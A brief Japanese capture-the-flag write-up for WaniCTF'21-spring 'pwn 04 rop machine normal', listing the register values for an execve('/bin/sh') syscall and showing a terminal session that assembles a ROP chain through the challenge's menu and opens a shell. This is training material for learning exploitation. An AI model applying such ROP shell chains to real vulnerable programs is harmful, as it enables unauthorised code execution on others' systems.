WaniCTF'21-spring pwn 04 rop machine normal Writeup

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WaniCTF'21-spring pwn 04 rop machine normal

問題

# ./pwn04

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop

syscall があるので execve("/bin/sh",null,null) を狙えとのこと。

syscallに飛ばすときのレジスタの状態を知っているかどうかの知識問題

レジスタ 値
RDI "/bin/sh"のアドレス
RSI 0x0
RDX 0x0
RAX 0x3b (59 execve)

流れ

# ./pwn04

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 404070
0x0000000000404070 is appended
> 3
"pop rsi; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 4
"pop rdx; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 5
"pop rax; ret" is appended
> 1
hex value?: 3b
0x000000000000003b is appended
> 6
"syscall; ret" is appended
> 9
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret       |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret       |
+--------------------+
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret       |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret       |
+--------------------+
# ls
peda-session-pwn02.txt  pwn02  pwn02.c  pwn02.py  pwn03  pwn03.c  pwn03.py  pwn04  pwn04.c